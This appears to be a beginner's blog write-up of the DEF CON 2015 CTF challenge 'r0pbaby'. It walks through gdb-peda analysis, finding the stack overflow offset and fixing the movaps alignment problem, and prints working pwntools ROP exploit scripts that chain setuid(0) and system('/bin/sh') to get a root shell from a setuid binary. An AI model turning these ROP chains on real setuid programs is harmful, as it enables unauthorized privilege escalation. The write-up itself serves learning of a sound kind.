Select Page
  1. Introduction
  2. Learning about the binary
  3. Locating return address
  4. First attempt
  5. MOVAPS issue
  6. From user to root
  7. Conclusion


1. Introduction

Recently I started learning how to pwn. As recommended by Atum, I decided to start from this challenge from DEF CON CTF qualifier 2015 called r0pbaby. As its name suggests, it is a beginner ROP challenge. You can download the binary from here. This write-up is intended for PWN beginners like me.

I did this challenge on my own Ubuntu 18.04.3 VM, which actually gave me some extra trouble, as we will see. Anyway, without further ado, let’s first take a look at our binary.


2. Learning about the binary

peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ ls -lah | grep r0pbaby
-rwsr-xr-x 1 root root 10K Nov 14 18:58 r0pbaby
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ file r0pbaby
r0pbaby: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, stripped

So it is a setuid dynamically linked 64-bit shared object, well enough…

peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ gdb -q r0pbaby
Reading symbols from r0pbaby…(no debugging symbols found)…done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : disabled

OK…checksec tells us that:

  • There are no stack canaries.
  • NX is enabled, as usual, which means classical shellcode injection won’t work.
  • PIE is also enabled. Fair enough…Oh OK I will turn on my ASLR for you real quick.

peilin@PWN
:~/pwn/DEFCON-2015-r0pbaby$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

My gdb, by default, disables debugee’s virtual address space randomization, though:

gdb-peda$ show disable-randomization
Disabling randomization of debuggee’s virtual address space is on.

  • Finally, RELRO (Relocation Read-Only) is off, meaning that it is lazy binding, and both .got and .got.plt are writable.
gdb-peda$ elfheader .got
.got: 0x561a58ec2fc8 – 0x561a58ec3000 (data)
gdb-peda$ xinfo 0x561a58ec2fc8
0x561a58ec2fc8 –> 0x0
Virtual memory mapping:
Start : 0x0000561a58ec2000
End : 0x0000561a58ec4000
Offset: 0xfc8
Perm : rw-p
Name : /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby
gdb-peda$ elfheader .got.plt
.got.plt: 0x561a58ec3000 – 0x561a58ec3090 (data)
gdb-peda$ xinfo 0x561a58ec3000
0x561a58ec3000 –> 0x201de8
Virtual memory mapping:
Start : 0x0000561a58ec2000
End : 0x0000561a58ec4000
Offset: 0x1000
Perm : rw-p
Name : /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby
  • …And I have no idea what is FORTIFY. 🙂

Then we want to simply run the program and see what it does:

gdb-peda$ r
Starting program: /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby

Welcome to an easy Return Oriented Programming challenge…
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit

Interestingly enough, it seems that this program will generously output:

  1. The base address of libc, and
  2. Addresses of arbitrary libc functions

…in real time, for us! Let’s check it out:

: 1
libc.so.6: 0x00007F2D43C4C4F0

…OK but this is pretty weird. As far as I can remember, if you run the vmmap command in peda, you basically see memory sections start from/end with 0x*000 (4096-byte aligned) addresses. 0x00007f2d43c4c4f0 is definitely not a legitimate libc base address! So what is it, then?

gdb-peda$ vmmap
Start              End                Perm Name
0x000055c3076bc000 0x000055c3076be000 r‑xp /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby
0x000055c3078bd000 0x000055c3078bf000 rw‑p /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby
0x000055c30885f000 0x000055c308880000 rw‑p [heap]
0x00007f2d4343a000 0x00007f2d43621000 r‑xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f2d43621000 0x00007f2d43821000 ‑‑‑p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f2d43821000 0x00007f2d43825000 r‑‑p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f2d43825000 0x00007f2d43827000 rw‑p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f2d43827000 0x00007f2d4382b000 rw‑p mapped
0x00007f2d4382b000 0x00007f2d4382e000 r‑xp /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f2d4382e000 0x00007f2d43a2d000 ‑‑‑p /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f2d43a2d000 0x00007f2d43a2e000 r‑‑p /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f2d43a2e000 0x00007f2d43a2f000 rw‑p /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f2d43a2f000 0x00007f2d43a56000 r‑xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f2d43c49000 0x00007f2d43c4e000 rw‑p mapped
0x00007f2d43c56000 0x00007f2d43c57000 r‑‑p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f2d43c57000 0x00007f2d43c58000 rw‑p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f2d43c58000 0x00007f2d43c59000 rw‑p mapped
0x00007ffc4d9d6000 0x00007ffc4d9f7000 rw‑p [stack]
0x00007ffc4d9fa000 0x00007ffc4d9fd000 r‑‑p [vvar]
0x00007ffc4d9fd000 0x00007ffc4d9ff000 r‑xp [vdso]
0xffffffffff600000 0xffffffffff601000 r‑xp [vsyscall]

We Ctrl-C the process and print out the memory layout of it. As you can see from the screenshot, all these addresses are 4096-byte aligned, and this time our “real” libc base address is actually 0x7f2d4343a000, as highlighted.

gdb-peda$ xinfo 0x00007f2d43c4c4f0
0x7f2d43c4c4f0 –> 0x7f2d4343a000 –> 0x3010102464c457f
Virtual memory mapping:
Start : 0x00007f2d43c49000
End : 0x00007f2d43c4e000
Offset: 0x34f0
Perm : rw-p
Name : mapped

Interestingly, that 0x7f2d43c4c4f0 was actually a pointer, pointing at libc’s starting address, 0x7f2d4343a000. I have no idea why this is the case, and this time I don’t really care, since we still have menu option 2) Get address of a libc function. I believe that the only take-away from this is that we should never take this kind of information for granted without verifying by ourselves. 🙂

gdb-peda$ r
Starting program: /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby

Welcome to an easy Return Oriented Programming challenge…
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007F7514B01440

gdb-peda$ p system
$1 = {int (const char *)} 0x7f7514b01440 <__libc_system>

Fortunately 2) Get address of a libc function is printing out correct addresses. Thanks r0pbaby that is very kind of you.

One last interesting menu option we have here seems to be sending some bytes onto the stack buffer, which is pretty straightforward. We give it a try:

gdb-peda$ r
Starting program: /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby

Welcome to an easy Return Oriented Programming challenge…
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 16
deadbeefcafebabe
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

…And that was a very easy segmentation fault. As will be proved later, our 16 bytes of input already overflowed the stack buffer, overwriting (at least partially) the return address. Therefore, when our poor CPU attempts to return from the current function by popping off an 8-byte value (which the CPU “believes” to be the return address) from the top of the stack into %rip, some funny value that we’ve overwritten will be popped off, instead of the original, legitimate return address. The CPU considers our “funny address” as illegal and refuses to keep processing, so we get a segmentation fault.

Now I’m afraid that maybe I’ve been explaining these basic things in an unnecessarily detailed manner, but I do find it useful to be always having a very clear idea of what on earth is going on when dealing with PWN challenges. Similar things will be omitted to a reasonable extent for brevity, in future posts.

OK since we’ve successfully triggered a segmentation fault, we now need to figure out exactly how many bytes we have to input, before we can reach the return address.


3. Locating return address

Actually peda has made this calculation stupidly easy. We first generate a pattern of, well, say, 32 bytes, to surely overwrite the return address, and feed it to the program:

gdb-peda$ pattern create 32
‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;A’
gdb-peda$ r
Starting program: /home/user/pwn/DEFCON-2015-r0pbaby/r0pbaby

Welcome to an easy Return Oriented Programming challenge…
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAA%AAsAABAA$AAnAACAA-AA(AADAA;A
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

Another segmentation fault. We see that we stopped right before the ret instruction:

gdb-peda$ x/i $pc
=> 0x55e80245beb3: ret

…And what is on the top of the stack now?

gdb-peda$ x/g $rsp
0x7fff96153a18: 0x6e41412441414241

And peda will calculate the offset for us:

gdb-peda$ pattern offset 0x6e41412441414241
7944702841627689537 found at offset: 8

So the offset is 8. We need to input 8 “dummy bytes” before our 9th byte of input begins to overwrite the return address.


4. First attempt

Now we are ready to perform the attack. By overwriting the return address, hopefully we can hijack the control flow and force it to execute arbitrary functions we want. Here we set our goal to popping a root shell, then naturally we want the program to invoke something like system("/bin/sh") for us. (I’m using “invoke” instead of “call”, since we won’t be using the call instruction at all.)

The address of system() is very easy to acquire: we send a 2) Get address of a libc function query to the program on-the-fly. But we can’t just simply overwrite the original return address with the address of system(): we have to prepare the parameter for system() first.

Since we are now dealing with System V AMD64 ABI calling convention, system() will be expecting its only parameter, in this case, a pointer pointing at "/bin/sh" string, to be stored in %rdi. This means that we want the control flow to:

  1. Return to a pop rdi; ret gadget
  2. pop a "/bin/sh" string pointer into %rdi
  3. Return again, this time to system()

…And the poor r0pbaby should then pop a shell for us.

Therefore, we design our payload respectively:

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+
|    address of:     pop rdi; ret    |
+------------------------------------+
|    address of:      "/bin/sh"      |
+------------------------------------+
|    address of:       system()      |
+------------------------------------+
         ...higher addresses...

All in little-endianness, of course. This should work.

Note, however, on my VM, /bin/sh is a symbolic link to /bin/bash. Our assumption here is that r0pbaby, which is a setuid process own by root, will pop a shell with its root privilege for us, but Bash, when invoked by a setuid program, will detect the difference between my RUID (Real User-ID, peilin) and my EUID (Effective User-ID, root, set by r0pbaby) and drop my privilege back to my RUID. In other words, we will only be able to spawn a user shell.

But anyway, let’s worry about it later.

The address of "/bin/sh" and the pop rdi; ret gadget, two last pieces of our puzzle here, are also easy to find. The former can be found by literally using the find alias (seriously?) for peda searchmem:

gdb-peda$ p system
$1 = {int (const char *)} 0x7f82264ae440 <__libc_system>
gdb-peda$ find ‘/bin/sh’ /lib/x86_64-linux-gnu/libc-2.27.so
Searching for ‘/bin/sh’ in: /lib/x86_64-linux-gnu/libc-2.27.so ranges
Found 1 results, display max 1 items:
libc : 0x7f8226612e9a –> 0x68732f6e69622f (‘/bin/sh’)

Well, don’t forget to also print out the address of system() so we can calculate that:

>>> 0x7f8226612e9a – 0x7f82264ae440
1460826

The "/bin/sh" string pointer locates at 1460826 bytes “later” than system(), in this particular version of libc. Again since I’m doing it locally, r0pbaby will be using the same version of libc-2.27.so as we see inside gdb, which means this calculated offset will also be applicable for “the real battle”. The plan is, we run r0pbaby and query the address of system(), and whatever that address will be, we add 1460826 to it, and Bazinga! We now have the address of the “real” "/bin/sh" string.

Similarly we calculate the offset for pop rdi; ret gadget:

gdb-peda$ ropsearch ‘pop rdi; ret’ /lib/x86_64-linux-gnu/libc-2.27.so
Searching for ROP gadget: ‘pop rdi; ret’ in: /lib/x86_64-linux-gnu/libc-2.27.so ranges
0x00007f822648055f : (b’5fc3′) pop rdi; ret

The ropsearch command gives us hundreds of gadgets but we only need one of it.

>>> 0x7f822648055f – 0x7f82264ae440
-188129

OK the gadget we’ve chosen appears 188129 bytes earlier than system().

To calculate these offsets accurately you will want to note down all these three addresses with one single run in gdb, even if disable-randomization is on, to make sure that they base on the same libc base address. Or since we already have the exact version of libc we may want to retrieve the offset directly using our powerful pwntools. Either way will do.

So, that was too much preparation! Let’s write some nice Python scripts:

#exp_v0.py
from pwn import *
  
p = process("./r0pbaby")

off_pop_rdi_ret = -188129
off_bin_sh      = 1460826

def gen_payload(system):

    dummy_len = 8
    dummy = 'a' * dummy_len

    pop_rdi_ret = p64(system + off_pop_rdi_ret)
    bin_sh      = p64(system + off_bin_sh)
    system      = p64(system)

    payload = dummy + pop_rdi_ret + bin_sh + system
    return payload

def get_system():
    p.recvuntil("4) Exitn: ")
    p.sendline ("2")
    p.recvuntil("Enter symbol: ")
    p.sendline ("system")
    p.recvuntil("0x")
    addr_system = p.recvline()
    return int(addr_system.lower(), 16)

def send_payload(payload):
    p.recvuntil("4) Exitn: ")
    p.sendline ("3")
    p.recvuntil("(max 1024): ")
    p.sendline (str(len(payload)))
    p.sendline (payload)

addr_system = get_system()
print "Address of system(): " + hex(addr_system)

payload = gen_payload(addr_system)
send_payload(payload)

p.recvuntil("Bad choice.n")
p.interactive()

Let’s try it out:

peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ python exp_v0.py
[+] Starting local process ‘./r0pbaby’: pid 4336
Address of system(): 0x7fedac03c440
[*] Switching to interactive mode
[*] Process ‘./r0pbaby’ stopped with exit code -11 (SIGSEGV) (pid 4336)
[*] Got EOF while reading in interactive
$

Neat! We’ve successfully got the address of system(), and…wait, what? SIGSEGV? Then why are you showing me that dollar prompt, my dear pwntools? OK this is all screwed up, I am out…


5. MOVAPS issue

After debugging for a while, I found out that my CPU refuses to execute this movaps instruction inside do_system(), as shown below:

RSP 0x7ffcce806478 ◂— 0x0
RIP 0x7f6aaec172f6 (do_system+1094) ◂— movaps xmmword ptr [rsp + 0x40], xmm0

OK but why? Let’s take a look at the Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C & 2D): Instruction Set Reference, A-Z, Vol. 2B 4-49:

MOVAPS—Move Aligned Packed Single-Precision Floating-Point Values

+-----------------------+---------------------------------------------+
|   Opcode/Instruction  |                 Description                 |
+-----------------------+---------------------------------------------+
| NP OF 29 /r           | Move aligned packed single-precision        |
| MOVAPSxmm2/m128, xmm1 | floating-point values from xmm1 to xmm2/mem.|
+-----------------------+---------------------------------------------+

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte (128-bit version)…boundary or a general-protection exception (#GP) will be generated.

Here we are dealing with its 128-bit version, so according to the manual, our memory operand here (xmmword ptr [rsp + 0x40]) must be 16-byte aligned, or the CPU will throw out a general-protection exception (#GP). Well, as we can do the quick math, 0x7fff808de688 is not 16-byte aligned, indeed.

So one natural workaround here is to “pad” an additional ret gadget before we return to system(), which functionally does nothing but adding 0x8 to %rsp, making our stack 16-byte aligned before executing movaps.

Our new payload layout should be like:

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+
|    address of:     pop rdi; ret    |
+------------------------------------+
|    address of:      "/bin/sh"      |
+------------------------------------+
|    address of:         ret         |
+------------------------------------+
|    address of:       system()      |
+------------------------------------+
         ...higher addresses...

So we again just choose one of the thousands of ret gadgets from libc, calculate its offset from system(), and modify our Python script like this:

#exp_v1.py
from pwn import *
  
p = process("./r0pbaby")

off_pop_rdi_ret = -188129
off_bin_sh      = 1460826
off_ret         = -322454

def gen_payload(system):

    dummy_len = 8
    dummy = 'a' * dummy_len

    pop_rdi_ret = p64(system + off_pop_rdi_ret)
    bin_sh      = p64(system + off_bin_sh)
    ret         = p64(system + off_ret)
    system      = p64(system)
    payload = dummy + pop_rdi_ret + bin_sh + ret + system
    return payload

def get_system():
    p.recvuntil("4) Exitn: ")
    p.sendline ("2")
    p.recvuntil("Enter symbol: ")
    p.sendline ("system")
    p.recvuntil("0x")
    addr_system = p.recvline()
    return int(addr_system.lower(), 16)

def send_payload(payload):
    p.recvuntil("4) Exitn: ")
    p.sendline ("3")
    p.recvuntil("(max 1024): ")
    p.sendline (str(len(payload)))
    p.sendline (payload)

addr_system = get_system()
print "Address of system(): " + hex(addr_system)

payload = gen_payload(addr_system)
send_payload(payload)

p.recvuntil("Bad choice.n")
p.interactive()

This should work. Let’s try it out:

peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ ls -lah | grep r0pbaby
-rwsr-xr-x 1 root root 10K Nov 14 18:58 r0pbaby
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ cat /proc/sys/kernel/randomize_va_space
2
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ whoami
peilin
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ python exp_v1.py
[+] Starting local process ‘./r0pbaby’: pid 4416
Address of system(): 0x7f24e7024440
[*] Switching to interactive mode
$ whoami
peilin

Good.


6. From user to root

Here intuitively we should be spawning a root shell, since we are invoking the shell within a setuid process owned by root. However, like I’ve mentioned, my Bash here is dropping our privilege. Let’s take a look at the man page:

If the shell is started with the effective user (group) id not equal to the real user (group) id, …the effective user id is set to the real user id.

OK so now the natural thing to do is, before invoking system("/bin/sh"), we invoke setuid(0) first, changing our RUID also to root. Now both our RUID and EUID become root, and Bash will no longer drop our privilege!

Annoyingly enough, this time we should actually get rid of that ret pad for movaps. To understand why, we have to go into the details.

Remember that, according to the convention, if this was a legitimate call to system(), %rsp must be 16-byte aligned before the call, therefore “misaligned” by 8 bytes after the call. (Similarly, misaligned by 8 bytes before ret, and 16-byte aligned after ret.)

With that in mind, let’s recall our first payload layout:

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+ 
|    address of:     pop rdi; ret    | Remember here used to be the legitimate ret, so the stack must be 16-byte aligned after this ret!
+------------------------------------+ ret'd, now 0x*0  Yep, indeed...
|    address of:      "/bin/sh"      |
+------------------------------------+ pop'd, now 0x*8
|    address of:       system()      | 
+------------------------------------+ ret'd, now 0x*0  Oh no!
         ...higher addresses...

Since here our goal is to ret to system() as if we’ve just called it, we actually want the stack to be misaligned by 8 bytes after the ret.

Unfortunately, this time, after removing (by reting and poping) 3*8 = 24 bytes off the stack, our %rsp became 16-byte aligned, which violated the convention and was not expected by system() as well as movaps, so we crashed.

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+
|    address of:     pop rdi; ret    |
+------------------------------------+ ret'd, now 0x*0
|    address of:      "/bin/sh"      |
+------------------------------------+ pop'd, now 0x*8
|    address of:         ret         |
+------------------------------------+ ret'd, now 0x*0
|    address of:       system()      |
+------------------------------------+ ret'd, now 0x*8  Good!
         ...higher addresses...

That’s why we added that ret pad. This time we removed 4*8 = 32 bytes from the stack, and ended up with a 0x*8 stack, which is OK.

So now what would happen if we simply added setuid(0) to our second plan?

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+
|    address of:     pop rdi; ret    |
+------------------------------------+ ret'd, now 0x*0
|    address of:          0          |
+------------------------------------+ pop'd, now 0x*8
|    address of:       setuid()      |
+------------------------------------+ ret'd, now 0x*0
|    address of:     pop rdi; ret    |
+------------------------------------+ ret'd, now 0x*8
|    address of:      "/bin/sh"      |
+------------------------------------+ pop'd, now 0x*0
|    address of:         ret         |
+------------------------------------+ ret'd, now 0x*8
|    address of:       system()      |
+------------------------------------+ ret'd, now 0x*0  Oh no!
         ...higher addresses...

We would be removing 7*8 = 56 bytes and again ending up with a 0x*0 stack, which is, well, not OK.

So we simply exclude that ret pad from our final plan to keep it a multiple of 16. It should looks like this:

         ...lower addresses...
+------------------------------------+
|            8 dummy bytes           |
+------------------------------------+
|    address of:     pop rdi; ret    |
+------------------------------------+ ret'd, now 0x*0
|    address of:          0          |
+------------------------------------+ pop'd, now 0x*8
|    address of:       setuid()      |
+------------------------------------+ ret'd, now 0x*0
|    address of:     pop rdi; ret    |
+------------------------------------+ ret'd, now 0x*8
|    address of:      "/bin/sh"      |
+------------------------------------+ pop'd, now 0x*0
|    address of:       system()      |
+------------------------------------+ ret'd, now 0x*8  Finally!
         ...higher addresses...

I must say this movaps issue has been super annoying, but anyway here comes our final version of Python script:

#exp_v2.py
from pwn import *
  
p = process("./r0pbaby")

off_pop_rdi_ret = -188129
off_setuid      =  615728
off_bin_sh      = 1460826

def gen_payload(system):

    dummy_len = 8
    dummy = 'a' * dummy_len

    pop_rdi_ret = p64(system + off_pop_rdi_ret)
    zero        = p64(0)
    setuid      = p64(system + off_setuid)
    bin_sh      = p64(system + off_bin_sh)
    system      = p64(system)

    payload = dummy + pop_rdi_ret + zero + setuid + pop_rdi_ret + bin_sh + system
    return payload

def get_system():
    p.recvuntil("4) Exitn: ")
    p.sendline ("2")
    p.recvuntil("Enter symbol: ")
    p.sendline ("system")
    p.recvuntil("0x")
    addr_system = p.recvline()
    return int(addr_system.lower(), 16)

def send_payload(payload):
    p.recvuntil("4) Exitn: ")
    p.sendline ("3")
    p.recvuntil("(max 1024): ")
    p.sendline (str(len(payload)))
    p.sendline (payload)

addr_system = get_system()
print "Address of system(): " + hex(addr_system)

payload = gen_payload(addr_system)
send_payload(payload)

p.recvuntil("Bad choice.n")
p.interactive()

Let’s try it out:

peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ ls -lah | grep r0pbaby
-rwsr-xr-x 1 root root 10K Nov 14 18:58 r0pbaby
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ cat /proc/sys/kernel/randomize_va_space
2
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ whoami
peilin
peilin@PWN:~/pwn/DEFCON-2015-r0pbaby$ python exp_v2.py
[+] Starting local process ‘./r0pbaby’: pid 4302
Address of system(): 0x7fc79404a440
[*] Switching to interactive mode
$ whoami
root

Great!

As a polite hacker, you may want to append exit(0) to our payload to let our poor r0pbaby terminate gracefully after we exit() from our root shell, but this time I won’t bother.


7. Conclusion

So that was r0pbaby from DEF CON CTF qualifier 2015. This challenge itself is classic ROP so the basic idea behind the attack is nothing fancy. Still, I spent much more time than I expected getting familiar with tools, especially figuring out how to attach gdb to processes with pwntools (Yes I’ve learned about that Yama issue and it’s still not working after I’ve configured kernel.yama.ptrace_scope to 0. Running with root works, but I think it’s not elegant enough. I will learn more about this issue.), as well as “bypassing” these weird Bash and movaps issues. 

By the way, this program is generously giving away libc function addresses, so I won’t say that I’ve learned generally how to bypass ASLR. I look forward to learn more about ASLR in the future. 

Anyway, as a newbie I definitely learned a lot from it, and it was indeed a lot of fun. I decided to document all these things I’ve learned here and I hope it is interesting to those who are curious. It also helps improve my thinking, as I believe.

So that’s it! See you next time…

…and bless movaps. 🙂